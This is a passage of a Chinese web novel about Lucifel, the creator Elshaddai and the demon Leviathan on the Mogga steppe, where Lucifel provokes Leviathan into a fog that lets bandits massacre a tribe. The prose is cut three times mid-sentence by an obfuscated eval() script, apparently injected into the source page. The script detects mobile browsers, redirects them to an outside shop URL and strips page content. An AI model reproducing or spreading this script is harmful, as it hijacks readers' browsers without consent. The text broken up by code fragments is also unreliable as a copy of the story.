妇人越看他,心中越生出几分敬畏。 路西菲尔发觉了她的目光,回头对她笑了笑。 妇人见他看上去似乎性情和善,也大了胆子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我是心疼你。”玛门反而先委屈上了,“你看看,你这话里的‘我们’可不就把我排除在外了?这不公平吧。” 恶魔讨什么公平! ……跟玛门这种恶魔交流,真是说什么都能是错的。 利维坦撇撇嘴,不想搭理他。 反正也说不过。 他结结巴巴开口对别西卜道:“我,是没找到……陛下,所以,才,才想问问,陛下、是,不是……回来了,看来、是,没有。” 一提到路西法的事,别西卜霎时来了精神:“怎么回事?你没跟着陛下?陛下最后和谁去了哪儿?是不是那个圣子!” 他一连串发问,最后提到圣子时已是咬牙切齿。 除了圣子谁能和陛下单独出去? 这并不是疑问句。 圣子,又是这个圣子。 怎么这么阴魂不散呢? 他问得又急又快,利维坦回答不过来,慢腾腾道:“……陛下,半夜、就,和那个,圣子,走了……他,他都,不告诉我,去哪里。” 玛门趁机语气凉凉地插嘴:“那你真是没用啊。”他又转头对别西卜道,“你也不必过于忧心陛下,这世上谁还能伤他不成?” 他不去伤害别人就好了。 利维坦听不下去,只觉得玛门这个恶魔就是让他讨厌。 “我不,跟你……说了,玛门,我,我讨厌你……” 玛门在另一边乐不可支:“没事,我不讨厌你。” 听到另一边利维坦愤怒的哼声,玛门笑得更开心了。 他还在多说两句再刺激一下利维坦,却听那边利维坦的声音十分疑惑:“咦,陛下……不对,你,你是谁? “你,你怎么,和……陛下,长得、一样?” 55. 如梦似幻 路西菲尔歪了歪头,好奇地看着面前这个形容奇怪的家伙。 他好像是海洋生物吧? 怎会在这大漠之外的莫格加荒原呢? 观他周身气息,应当属于地狱。 竟然没在这儿捣乱,真是稀奇。 不过……他说他和他的陛下长得一样? 地狱什么时候竟有一位君王了? 路西菲尔心中疑窦丛生,只觉周遭异象频出,而自己,似乎少了一段记忆。 这一点从他方才见到那个追随父神的人的时候就有怀疑。 那个人,不像是第一次见到他的样子。 只是创世神在旁,他不好盘问。 现在面对利维坦就没那么多顾忌了。 他打定主意试探,便对利维坦笑道:“只是长得像吗?你再好好看看。” 利维坦果真睁大眼睛仔细打量他。 眉毛像,山根像,嘴唇像,笑起来的模样也像。 至于那双眼睛,更是一模一样。 利维坦困惑地挠挠脑袋。 从未听说过陛下是双生呀? “走近一点。”路西菲尔笑着鼓励他。 秉持着对炽天使这种生灵道德品质的信任,利维坦果真依他所言靠近了看他。 咦,越看越像…… 蓦地,路西菲尔乍然动手,有一金光之物从他袖中飞出,紧紧缠绕上利维坦的脖颈! 利维坦见势不妙便要反抗,但路西菲尔没给他反制的机会,顷刻就将他拽了过来,几个呼吸之间,利维坦便被他掐着脖颈扣在掌中。 被掐住人形躯体的要害,纵使利维坦还有千般手段都再难使出。 路西菲尔的力度掌控得极好,叫他几乎拼尽全力才能喘上气,自然再不能想其他花招。 利维坦张着嘴拼命掰着他的手。 这力道,好熟悉啊。 路西菲尔还是那般光辉圣洁的模样,俯首在他耳边柔声低语,在外人眼中,仿佛不过是仁慈慷慨地传下福音:“不必紧张,我只是想问你几个问题而已。” 问就问,掐他脖子干什么! 利维坦倍感委屈。 这人间到底是个什么坏地方,怎么每个人都那么坏啊。 看,炽天使来了都变可怕了。 但他从别西卜那儿学过,这种情况下要能屈能伸,保全自己为上,所以他艰难地点点头,表示自己一定听话。 问吧问吧,反正他也什么都不知道。 见他主动配合,路西菲尔心中满意几分。 他用这种方法最快控制住利维坦,就是想以最小动静速战速决。 父神还在等着他呢。 首先,第一个问题。 “你那位陛下,叫什么名字?” 利维坦用震撼的眼神看向路西菲尔,仿佛看见了什么远古生灵。 陛下的大名三界皆知,这炽天使,居然,不知道? 即使是天国亦常常议论陛下,或是惋惜或是愤恨,岂有哪位天使会不知陛下? 见他迟迟不答,路西菲尔笑着加重力道:“这是不可说的秘密吗?” 不是不是,当然不是! 他只是太震惊了所以才没有第一时间说出来而已! 不要那么凶嘛…… 利维坦被他掐得眼泪直流,努力用气声发出声响:“我们……陛下,叫……” “路西。” 随这声音响起,路西菲尔迅速放开了利维坦,利维坦一下子跪了下去大口喘气,而他竟也蹲下|身,微微蹙眉,状似担忧地搭上他的肩,语气歉疚:“你可有伤着?抱歉,是我想当然了,我见你一直瞧着人类那边,还以为……” 他轻叹一声,留下无限遐想空间。 利维坦抬头万分惊恐地看着他。 不是因为他说谎。 相反,他说的,恰恰,句句都是实话啊! 只不过组合起来就成了一个截然不同的情景。 说话间,他们身后的人已翩然而至。 路西菲尔仰起头,灿金长发散落开,那张造物主精心雕琢的面容完完整整呈现在伊勒沙代眼前。 不待思考,伊勒沙代的手便已覆上他的侧脸。 “天色渐晚,荒原风凉,随我回帐中。” 路西菲尔笑弯眉眼,却稚气地说:“我不怕,我还想看看这里。” “好。” 他的要求,伊勒沙代无有不应。 伊勒沙代伸出掌心,路西菲尔乖巧会意,送上自己的手,由着他将自己拉起来。 不知有意无意,也没有谁主动松开,由此便十指相扣。 利维坦好容易才缓过来,就只能眼睁睁看着他们二人并肩走远。 “这,都什么……怪人!”利维坦想不出骂人的词,只能尽力表达不满。 须臾,他才意识到自己似乎没有关闭通讯,连忙对那边道:“别西卜,你,你听见……了吗?那个、家伙,他,长得和陛下……一样!” “我知道了。”不知为何,利维坦从别西卜冷静的声音里听出了一丝杀气。 “等着,让我来瞧瞧,到底有多像。” * 绯红霞色铺洒了半边天幕,从远及近,由深至浅,恰与萋萋碧草成了对比。 空气中青草的涩味与烟火气交织,这是独属于人间的味道。 与路西菲尔在伊甸园嗅到过的截然不同。 路西菲尔想,与真正的人间相比,伊甸园太具有天国的特征。人间的底色是温暖,混合的,伊甸园再像人间,也是如天国其他地方那般冰冷纯净的。 什么都有,也什么都没有。 在他出神间,伊勒沙代带他到了一处湖泊边,另一边几个莫格加族少女引着马群在此饮水,她们本在笑闹着,不知谁先瞥见伊勒沙代与路西菲尔,率先瞧了过来,不一会儿,她们便都好奇地打量着他们,然后低下头窃窃私语。 天色不早,她们也不能在外多逗留,牵了马群往营地方向去,临走之前,为首的女孩子鼓起勇气回头问道:“圣子大人,明日是我们莫格加族的赛马节,您会来么?” 伊勒沙代看向路西菲尔,路西菲尔眨眨眼,片刻后才迟钝地反应过来,他这是在征求自己的意见。 一股莫名的情绪蓦地涌了上来,路西菲尔暗中掐住自己的指尖强行压了下去,努力装作平静如昔的模样,笑道:“父神,我正想去瞧瞧,请您允许。” 伊勒沙代这才回了那少女,少女惊喜万分地应下,连忙和同伴回去,通知族老好好准备。 伊勒沙代回过头,垂眸看着路西菲尔明亮的眼睛,不禁轻轻按压他的眼尾,低声道:“路西,你想做什么,不需要如此小心地求我允许,你是我最信任爱重的天使,你有权做任何事。” 路西菲尔一怔。 他低下头,许久才闷闷道:“路西不敢。” “为何不敢?” 路西菲尔抬起头,双眸通红,水光莹莹,却压抑着不许落泪。 “我也想知道为何,父神,您说您最信任,最爱重我,所以予我天国副君的荣耀与权柄,但又为何在典仪之后待我反而不如从前?” 许是这一刻被霞光晕照的有实体的创世神叫路西菲尔少了心中恪守的不可触碰的距离感,那些潜藏已久的丝丝缕缕的委屈便挣扎着从心底蔓延开来。 “您不再回应我,不再在公务之外见我,亦不会再私下提点指教,我也想认为,您只是觉得我已能独当一面,可我……可我骗不了自己。” 冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091899|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漠就是冷漠,没有可以粉饰遮掩的理由。 从前那些让他窃喜的属于他们之间独有的亲密时刻都在一夕之间被剥夺,路西菲尔尚且没机会反思自己的过错,便已被判刑。 何其残忍。 在那偌大华丽的寝宫,路西菲尔彻夜难眠,一遍遍满心煎熬地回想到底在哪一刻惹怒了创世神,但记忆却又会不受控制地拐到以前那些时刻上去。 祂握着他的手臂教他射箭,为他讲解如何处理棘手的政务,在他无意夸赞过一丛蔷薇后赠他满寝宫各种蔷薇。 从他有记忆起,创世神就为他倾心打造独有的一切,从仪仗队到权杖金冠,都是祂亲自设计创造,不由任何人接手。 越回想,越难过,也越想知道为什么。 他知道自己陷入了泥沼,却只能眼睁睁看着自己难以自拔。 无可救药,不能自渡。 又是不能成眠的一夜以后,他再睁眼,就在这里。 此刻的创世神对他的态度仿佛回到了从前,不,甚至是更胜从前。 他既开心,又难免不忧心,患得患失。 这种不安感更叫他难过。 路西菲尔倔强地看着伊勒沙代,片刻后,他深吸一口气,竟然不管不顾地直接抱住了伊勒沙代的腰身。 要罚就罚吧,总不会比现在更差。 贴在那满是凛冽寒香的怀里,泪水终于挣脱眼眶,浸透了伊勒沙代的前襟。 伊勒沙代只愣了一瞬,便回抱住了他。 路西菲尔在他怀中压着声音低泣。 未来的地狱之主现在也是骄傲的,不肯诉苦,不肯说自己日复一日的辗转反侧。 但伊勒沙代能想到。 时隔千年,他终于亲耳听见了路西菲尔的委屈。 那灼热的泪水穿透衣襟,落在凡人之躯的肌肤上,过血透骨,直达心间。 伊勒沙代伸手覆上他灿金长发,轻轻将他按在自己怀里,由着他释放长久以来的无所适从和难过。 “路西,别难过。 “是我不好。” 路西菲尔在他怀中一顿,随即,泪水掉得更重。 创世神匮乏道歉和求原谅的经验,只能无措地抱着最珍爱的造物,轻声安慰。 直到金乌西坠,月上中天,群星在天幕上烁烁争辉,路西菲尔才从他怀中起身。 伊勒沙代按住他红肿的眼角,皱眉问道:“眼睛疼不疼?” “有一点。”路西菲尔难为情地低声回答。 “闭眼。” 路西菲尔乖顺地闭上眼,感受着一股清凉之意席卷眼睛。 他又低头,在那一怀凛冽寒香中小声道:“父神,如果这是个梦,我宁愿在这场梦里死去。” “不许胡说。” 路西菲尔挨了训斥,却越发高兴,待到眼睛恢复如初后迫不及待地欣赏这荒原星夜,一面还道:“父神,我原还想着邀请您到恒星天的观星台观星,如今看来是不必了,这人间的星月夜,胜过天国。” 他沉浸在欢愉中,并未发现,当他提到曾经的想法时,伊勒沙代蓦地一顿,随即才不动声色道:“路西开心就好。” 路西菲尔以为从此就不会再有那场邀约,但他只是不记得了而已。 路西法记得。 他也记得。 ——在那恒星天宽广空阔的观星台石阶上,路西菲尔独坐了一夜,也未等到想等的人。 天色破晓之时,他遥遥望着远处天际一线白,自嘲地笑了笑,站起身,挺直脊背,若无其事地离开,依旧是端庄完美的天国副君。 伊勒沙代眸光沉沉地看着面前高兴的路西菲尔,不明的情绪慢慢在眸中沉淀。 如果这是一场梦…… 不醒来也好。 56. 可堪媲美 路西菲尔的情绪来得快去得也快,他偎在伊勒沙代怀里,看着满天星河映在荒原湖泊之中,璀璨明耀,听着伊勒沙代给他讲述莫格加族的历史,上一秒还在发问,下一秒就沉沉睡去。 伊勒沙代垂眸看着他安静的睡颜,给他调整了一个舒服的姿势。 待过片刻,确认他已睡熟,伊勒沙代才抱起他往回走。 利维坦自以为隐蔽地一路跟着他,看到他将路西菲尔抱回帐中,迟钝地觉得他们两个似乎亲密过了头。 男性和男性之间也不能这么一直搂搂抱抱耳鬓厮磨吧? 利维坦踌躇一会儿,还是决定如实告诉别西卜。 他知道他不聪明,但肯定有聪明人知道这对不对劲。 相较于上一次,这回的别西卜几乎是秒接。 岂料,他刚说完,别西卜那边就沉默了。 过了片刻,那边忽地传来巨大的声响,动静好似房屋倒塌一般,随即便是别西卜的怒吼:“我就知道!祂怎么那么轻易就放过陛下!原来在这儿等着恶心我们!” “什、什么,恶心……不,恶心的?”利维坦听得懵懵懂懂,奈何别西卜没有心情给他解释。 玛门也不理他,还在一旁朝别西卜拱火:“长得像陛下怎会是巧合?这世上没有巧合,都是父神的刻意为之。唉,若是陛下知道了,不知会如何伤心呢。” “陛下……伤心,这个、干……什么?”利维坦更纳闷了。 那边的别西卜却已冷静下来,对玛门道:“这几日你留在潘地曼尼南,若有急事联系我即可。” 玛门笑眯眯地应下,只是不无遗憾道:“我还没见过和陛下长得像的人,你可一定要回来转告我。” 别西卜全心被这事占据,敷衍回了一声,然后断开与利维坦的联系,便开始安排短期交接。 他一定要去看看那个人。 如果是他想的那样,那就抹去他的存在,绝不能让他出现在陛下面前。 * 路西菲尔从那晚剖白之后更黏着伊勒沙代,伊勒沙代也乐意纵容,无论去何处都带着他一起。 甚至连为阿亚最后上药封住魂魄他也在场。 约里总觉得面对他便有些隐隐的不安,这种不安在他目不转睛地盯着阿亚时达到了顶峰,他不自觉地上前两步,挡住了那双盛满好奇的殷红竖瞳。 路西菲尔似是这才注意到他的存在,笑了笑,温柔好脾气地问:“怎么了?” 说不出来的古怪感。 约里这一刻甚至宁愿自己面对的是那个妖异邪肆的美貌青年。 他慌忙地想着话题与路西菲尔闲谈:“您是第一次来人间吗?” 他不知这问题里哪个词颇感深意,叫路西菲尔看向他的眼神闪过一分冷意,但转瞬即逝,仿佛只是错觉。 “从前亦有奉□□来过,只是那时人类的数量甚至不如现今一个莫格加族人数的五分之一。”路西菲尔叹道,“人间变化真大,叫我都觉得陌生呢。” 沧海桑田,斗转星移,都不足以形容。 路西菲尔看向因他不再观察阿亚而暗暗松口气的约里,装作没发现他的神态变化,友善笑道:“若不妨碍的话,坐下与我聊聊吧。 “我很想知道,你与……圣子,是如何认识的呢?” * 莫格加族人擅长养马,每隔五年都会举办赛马节,今年恰好到了时间。 原本因突发疫病,今年的赛马节拟定取消,然而伊勒沙代的出现为此事带来了转机,族老们商议之后,还是决定举办,也算给族人定定心。 赛事当日,宽广的荒原上竖起了无数面彩旗,沿着设定好的马道两旁猎猎飘扬,参赛的莫格加族人牵着自己的马候场,面上都满是兴奋。 伊勒沙代作为莫格加族的贵宾被请到了上座,族老们早就议定,一致同意将主位让给他。 路西菲尔却没跟在他左右。 不过经过一日,路西菲尔与约里的关系竟似好了很多,约里看向他的眼神不再警惕怪异,反而对他颇为信任,连现在都在热情地同他说自己从莫格加族人那里听说的养马轶事。 伊勒沙代尽收眼底,不动声色,依旧笑容温润,好似没有一心两用般从容婉拒族老提出的其他感谢之仪。 族老对他的品性更是钦佩。 路西菲尔与约里又闲谈片刻,卡在伊勒沙代会唤他之前靠近。 族老们见他这几日与伊勒沙代形影不离,便也没有防备,于是他们说的话都落入他耳中。 “……这场祸事的缘由我们已经查清,是我们族人中出了叛徒。”一位瘦高的族老眉头都皱到了一起,“源头还是从前那伙想要我们的马的莱洛温人,他们给了他沾了疫病诅咒的东西,叫他投在我们的营地里。” 另一位留长胡子的族老气得将拐杖重重一杵:“这些年莱洛温人就没一天不折腾我们!这口窝囊气我咽不下去,我真是不明白,他们到底为什么那么恨我们!” 要说先祖的仇怨,那也是数百年前的事了,而且真论起来,难道不是背信弃义的莱洛温人对不起他们?怎么反倒还要对他们赶尽杀绝了! 偏偏莱洛温这些年繁荣昌盛,而他们还依旧漂泊无依。 “真是老天不开眼。”有族老嘟囔了一句,话一出口就反应过来不妥,老天的代言人正在旁边端坐着呢,他们刚刚可还在感谢人家。 路西菲尔暗自好笑。 这可是老天本人。 他悄悄看向伊勒沙代,却见他神情没什么变化,像是并不觉得冒犯。 年迈的族长咳嗽一阵,颤颤巍巍地拍了拍扶手,道:“少说两句吧!都是吃了几十年饭的老家伙了,怎么还和毛头小子似的沉不住气?以后我走了,就得你们看着族里的孩子,你们这样,我以后怎么闭得上眼?” 这场疫病对于这个老人来说无疑是巨大的消耗,哪怕伊勒沙代将他的命从生死边缘抢了回来,他自身的衰老导致的虚弱也无法弥补。 端是坐在这里,就已经要了他大部分精力,若非其他族老们越说越不像话,他大概也不会开口。 族老们都连忙噤声,只有瘦高族老长叹一口气:“族长,我们都还盼着你带领我们过上好日子,你可别说这丧气话。” 好日子,对于莫格加族人来说什么是好日子? 路西菲尔在心里咀嚼这句话,却得不出个答案来。 “好”是没有止境的。 比起莫格加族人居无定所的生活,住在城镇的莱洛温人过的自然是好日子。 但对于住在城镇的莱洛温人来说,在王城生活才是好日子。 同样的,对王城居民来说,他们每日可见的那些宝马香车前呼后拥的王公贵族才是在过好日子。 而王公贵族也会认为只有皇室过的是好日子。 皇室自然是看向国王。 但国王…… 他会看向天上。 所以说,没有止境。 要等这个好日子,不知得等到什么时候去。 真要那么久,这老族长不都可以说是长生了吗? 路西菲尔被自己的想法逗笑。 莫格加族老们沉浸在悲伤的情绪里没发现,只有伊勒沙代有所察觉,不动声色伸出手捏了捏他的手指,示意他收敛一点。 人家还在伤心呢。 所幸现在在他身侧的是路西菲尔,而非肆无忌惮的撒旦,好歹是收了笑意,装出一副同样忧心忡忡的模样。 虽说用力过头显得颇假,但总算不违和了。 他们暗中的互动无人发现,老族长还在咳嗽,咳完才哑着嗓子道:“生老病死,这些都是免不了的,这是主对人类的惩罚,我们都会有这么一天。经此一事,我更担心的是,倘若莱洛温人又使出别的阴招,我们到时候该怎么办?现在这莫格加荒原上,不止是有我们一族,还有莱洛温人驱逐的盗匪流寇,他们穷凶极恶烧杀掳掠,这次是他们见着我们这儿遭了疫病,才不敢靠近趁火打劫,下次呢?” 这话题太沉重,众族老都纷纷沉默。 是啊,不能一直这样坐以待毙。 但他们也着实想不出来什么好办法。 莫格加族人生于马背,以打猎为生,看似个个强悍,实则对上莱洛温军队屡战屡败。 更别提还有盗匪流寇日常骚|扰。 路西菲尔看着他们愁眉苦脸的模样,颇觉新奇。 为什么他们不会想…… 杀尽莱洛温人,占有想要的一切呢? 是不会想,还是不敢想? 又或者,想,但只是不能当着伊勒沙代面说出来? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091900|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路西菲尔忽地有了个想法。 他想到什么一般就会立刻着手去做。 他悄悄往后退了几步,无声无息下了高台。 将那蹲在不远处暗中偷窥的魔王逮了出来。 利维坦正努力用不太好的眼力观察台上的动静,猛然被揪住后颈提起来,还吓了一大跳。 他一转头正对上那比地狱魔王们加起来都可怕得多的炽天使,吓得连退几步。 路西菲尔丝毫没有自己吓到他的自觉,笑眯眯地切入正题:“在这里看着有什么用?我瞧你眼睛好似不太得用,不如去台上听听?” “不用不用……我,我在这儿,就行。”利维坦讪讪道。 无论是那位圣子还是眼前的炽天使,他都不想面对,更何况和他们二位站在一起? 还是远远地,能瞧见就好。 路西菲尔轻叹一声,状似为他不领好意而遗憾,又转开话题道:“平日里你跟着你的陛下,也会躲这么远吗?” “不会……陛下,很好的。”利维坦呐呐道,不知为何,他不敢在这个和陛下长得几乎一模一样的炽天使面前说陛下不好。 哪怕别西卜一副有他没陛下,有陛下没他的要死要活态度。 “看来他对你不错呢。”路西菲尔笑道,“我听说如今地狱七罪魔王俱全,你们同在地狱王都共事,抬头不见低头见,也是该有情谊的。” 利维坦下意识撇了撇嘴。 谁跟他们有情谊! 像阿斯蒙蒂斯和玛门之流谁不是喜欢拿他取乐,他只是不习惯陆上的环境所以迟钝些而已,又不是真傻,哪里看不出来他们潜藏的恶意? 他讨厌死他们了。 要不是陛下说不许内斗,他一定找机会把他们全部撕了。 不过这位是炽天使,听闻天国的环境压根不存在什么争斗不争斗的,天使各司其职,每日做什么事都是规定好的,行为言语从无超出,不说吵架争执,连多说一句话都未必会有,想来也不能理解地狱那表面亲亲热热背地里恨不得把同事大卸八块的氛围,他也就懒得一提了。 路西菲尔观察着他的反应,立刻得到了意料之中的答案。 撒旦生性傲慢,连带着手底下的魔王也狂妄,谁见得就服谁?不过因为头顶上有一位压着才没乱起来罢了,但心底的怨气日积月累,不会少。 培养出这么个养蛊似的环境,也不知道他究竟想做什么。 但现在正好能被他利用。 “这几日我也听闻了许多人间的往事,你可知道那祭山族人为何有此一劫?” 利维坦摇摇头,暗中疑惑,这炽天使跟他说这个干什么? 人间发生什么事跟他有什么关系? 人类你死我活不都那样。 谁兴盛,谁没落,谁登台,谁落幕,时时刻刻都在上演。 哪有真正千秋万代的呢? 创世神不允许。 这是惩罚。 人类没有“永恒”的资格。 这些事炽天使该比他清楚才是。 路西菲尔并不惊讶他的茫然,继续缓缓道:“他们犯了‘贪婪’之罪。父神已赐给他们衣食无忧,但他们看到了群山之外繁华热闹的生活,于是山中的清平安宁就成了枯燥乏味,他们想要更多。 “只是在他们踏出山脉开始,父神就收回了所有的恩赐。从此,他们要加倍赎罪。” 创世神的恩赐,岂是想要就要,想不要就能不要的? 神威不可冒犯。 利维坦的眼神里终于有点回过味的醒悟,喃喃道:“玛门,那段时间……好像,的确、不在,地狱。” “正因他有了这份功劳,所以才一跃成为你们陛下的心腹。”路西菲尔看向他,“你想想,你们陛下是否一直对他格外容情?哪怕他欺负你,也没付出过什么代价,是不是?” ……是。 利维坦喉结动了动,说不出话来。 似有些许不甘从心内爬了出来,啃咬着他周身。 路西菲尔笑容更甚,他靠近利维坦,拍了拍他的肩头,伸手掐住他的下颌,让他看向那看台。 “如今,有一份能媲美的功劳就在你的面前。利维坦,你嗅见了吗? “从那里传来的……‘嫉妒’的味道。” 57. 各怀鬼胎 路西菲尔再回高台上时,族老们已不再谈论生死存亡的问题,只关注着眼下的赛事。 伊勒沙代自始至终没参与他们的讨论,好似全被马赛吸引,只在路西菲尔回来后偏过头看他一眼。 他眸色澄明,淡然温和,路西菲尔却蓦地有种被看透的感觉。 让他背脊发凉。 以全知之目为图腾的父神,哪怕是被囿于人类躯体的状态,也能看见一切吗? 路西菲尔只一顿,随即便若无其事地上前,笑吟吟地站在他身后。 伊勒沙代却示意他上前来,与他同座。 路西菲尔一怔,眸光微动,随即垂下头无声以示惶恐拒绝。 他可不敢与创世神同座。 谁知道这是不是一场随兴的试探。 伊勒沙代看着他的发顶,忽地想,若是路西法,便不会拒绝。 不,从一开始,他就会嚣张地坐上主位,视旁人意见若无物。 只有他不想要,没有他得不到的。 比起这时期,他现在已完全不需瞻前顾后。 若他知道他与圣父本为一体…… 伊勒沙代淡淡垂眸,移开目光。 那就不要让他知道。 * 到了傍晚,这场马赛终于进入尾声。 马赛以谁先将竖于终点的旗帜带回为判定魁首的标准,日暮时分,一人骑着马沿着赛道奔回,手中旗帜猎猎招摇。 路西菲尔看过去,那竟还是个熟人。 是那日在湖边饮马,还主动询问伊勒沙代是否要来观赛的少女。 见到是她,族老们好似也并不意外,只吩咐等候在侧的年轻族人去准备好奖励。 她的朋友们等候在台下,见她归来也纷纷上前祝贺。 瘦高族老看向她,眼里满是欣赏,叹道:“以娜尔真是这一代最出色的孩子,无论是驯马还是骑术,都那么优秀。” 可惜这片草原养育了她,也困住了她。 瘦高族老想起他曾见过的那些莱洛温的少男少女,不说所有,大多都过着衣食无忧的生活,或是读书习字,或是继承家中的技艺,总是能与祖辈一样过着安稳的日子。 不像他们,从出生那刻起就在奔波。 莱洛温人喜欢说故乡,喜欢赞颂家园旧居,常在诗歌词曲里畅谈对那一片土地的眷恋。瘦高族老读过,能看懂他们的文字,却理解不了其中的情意。 但他却知道,这份不懂的缘故,是可悲的。 难道要他们一族代代都延续这样的悲剧吗? 不甘心,真不甘心啊。 望着参赛族人们年轻蓬勃的面容,无言的情绪在台上族老们间蔓延开来。 他们这把老骨头葬在荒原里,任由秃鹫哪日叼食干净,也就罢了,可这些孩子,还未过过安宁平静的日子,他们如何舍得呢? 台上气氛渐渐又沉重,却未影响主位二人半分。 路西菲尔抬头看了看远处,开口语带笑意:“起雾了。” 他看向身前伊勒沙代的侧脸,状似柔顺问道:“赛事已毕,您可要回去?” “你想回去。”这不是疑问句。 又是这种被看透的感觉。 真是……令人不爽呢。 路西菲尔面上却只是眨眨眼,满面无辜之色:“不可以吗?路西听不懂他们在说什么。” 所以觉得无聊。 伊勒沙代装作没听出这其中暗含的控诉他隐瞒太多之意,如他所愿起身,与族老们告别,婉拒他们的挽留。 路西菲尔面带微笑跟在他身后,假装一个只会笑不会说话的会动木偶。 只临走前,他微微偏头,回头再望了一眼一无所觉的台上众人。 浓雾渐起。 风吹拂来,隐隐约约,似有一丝海的腥气。 * 路西菲尔一路跟着伊勒沙代回了营帐,他这时候倒一改在人前避嫌似的模样,甚至主动贴近伊勒沙代,轻声抱怨,他方才发现了利维坦在窥视,特意过去查问,却发现他同个傻子似的,一问三不知。 “也不知他在地狱是如何位列七罪魔王之一的?那位地狱之主莫不是眼力不佳,才会识人不清。” 路西菲尔偎在伊勒沙代身侧,明亮眸中满是疑惑。 伊勒沙代一默。 “他……眼睛受过伤。”许久,伊勒沙代才似是而非地回道。 不算承认也不算否认。 “父神,您分明知晓我并非此意。”路西菲尔挽着他的手臂嗔道,这动作于任何成年形态的生灵来说都奇怪,但由他做来,偏偏又自然纯真,仿佛他百态皆宜。 “利维坦自有非同寻常的长处,他不是会吃亏的性子。” 这也说得简短,路西菲尔敏锐地感觉,伊勒沙代似乎不愿在他面前多提那位地狱之主。 但他字里行间,分明,对那人极为熟悉。 何时,创世神也会在他面前隐藏对另一个造物的喜爱? 难道是怕他会对他做什么吗? 路西菲尔想到了初见时利维坦惊呼之言。 长得……几乎一模一样? 真有意思。 只是不知道,谁先谁后呢? 路西菲尔心里千回百转,面上却仍只是笑着随伊勒沙代进去,先将帐中烛火点燃,又将烛芯轻挑,再替他整理来日兴许会用到的医书和工具,殷勤周到,无微不至。 可炽天使长怎会亲自做这些事呢? 伊勒沙代看着他依旧优雅挺拔的背影,心绪却飘到了与圣父共享的记忆中。 路西菲尔身边从来侍从环绕,创世神不喜太多人随侍在侧,却给祂最钟爱的天使这般安排,那时也是引人不解的。 唯独路西菲尔一句不问,接受良好。 创世神彼时的想法现似云山雾罩。 也不奇怪,圣父在关于路西菲尔的事上从来吝啬,多次掩盖记忆。 尤其是…… 伊勒沙代看见路西菲尔回身,一张笑面上却蓦地多了惊讶:“父神,您怎么……” 随后的话如他的意识一般,渐渐沉没。 * 利维坦蹲在羊圈旁,愣愣地回不过神。 他怎么就,怎么就听从了那天使的话? 他看得分明,那就是个天使,但怎么能比恶魔还会蛊惑人心? 从动机到方法,他好似都能将他看透,然后提出他根本拒绝不了的“建议”。 也就造成了如今的局面。 雾气越发浓厚,但血腥气却完全盖住了其中的海腥味。 马蹄踏着土地的声音混合着喊杀声与惊恐的呼救声冲破迷瘴,他却充耳不闻,还沉浸在一团乱麻的思绪里。 一片雪白的衣角如轻飘飘的云停在他视线以内,他才回神仰起头,看向那还带着温柔微笑的天使。 “好好的日子,竟被血腥屠戮破坏,真是可怜。”他好似在怜悯被无常命运折磨的人类,语气比利维坦为数不多见过的天使都慈悲。 如果这主意不是他出的话,利维坦也许真的会信。 但现在,利维坦只敢小心翼翼地开口:“这,真的、不算是,是违背了……约定吗?” 天使这才施舍给他一眼,声音比云雾更飘缈:“怕了?” 怕呀,怎么不怕。 他不敢想现在死了多少人类,但凡想想都觉得满身冷汗。 但他回头无岸。 利维坦疯狂回想着别西卜素日应对这些场景的模样,强装镇定:“不比、你,你……好歹,也是天使,难道就、就不担心……”他将那些炽天使的名头都想了一圈,终于锁定一个风评最厉害的,“不担心,米迦勒……惩处你、吗?” 他自觉这话已算超水平发挥,完全没问题。 但那天使听罢,竟是嗤笑出声。 “他?” 再无下文,利维坦却听明白了其中之意。 他不禁觉有寒意爬上骨髓。 连米迦勒都无权惩处,这天使究竟是什么来头? 地狱竟然从未听闻过他这样的存在! 利维坦倍感不妙,脑中盘算着怎样给别西卜传信。 路西菲尔似未察觉他脸色几变一般,还望着雾中,言语温柔:“放心吧,论罪算不到你头上,说到底,你不过是放了一场雾而已。” 而流匪见了起雾便来洗劫,如何能算是利维坦之过呢? 分明是人类自己的罪过。 利维坦瞠目结舌,像看怪物似的看着路西菲尔。 他怎么这么会狡辩? 偏偏,他说的没错。 自缔结契约以来,地狱一切行动由明转暗,大多便是与此同理。 他们以恶为食,偏偏不能杀人,那便只能让能杀的去杀了。 勾起贪欲,引发嫉妒,挑动怒火,一切便会水到渠成。 利维坦冷不防与路西菲尔对上目光。 在他慌乱移开视线以前,却听这炽天使又开口。 “利维坦,看着我。” 利维坦不得不强忍着畏惧僵硬地转过来,只见他又露出让他害怕的笑容。 “现在,你看清我是谁了吗?” * 这场劫难开始了多久,约里已经记不太清了。 他只记得自己抱着一个不知何时被浑身是血的母亲推过来的小女孩,在劫匪们挥舞的刀枪剑戟间狼狈地躲闪。 很久很久。 他的全身被不知谁的鲜血染透,也许是自己的,也许是某个莫格加族人的,也许是某个劫匪的。 他感觉不到痛,也感觉不到累,他的意识仿佛都被一层迷雾遮盖,亲眼所见亲耳所闻也如旁观一般。 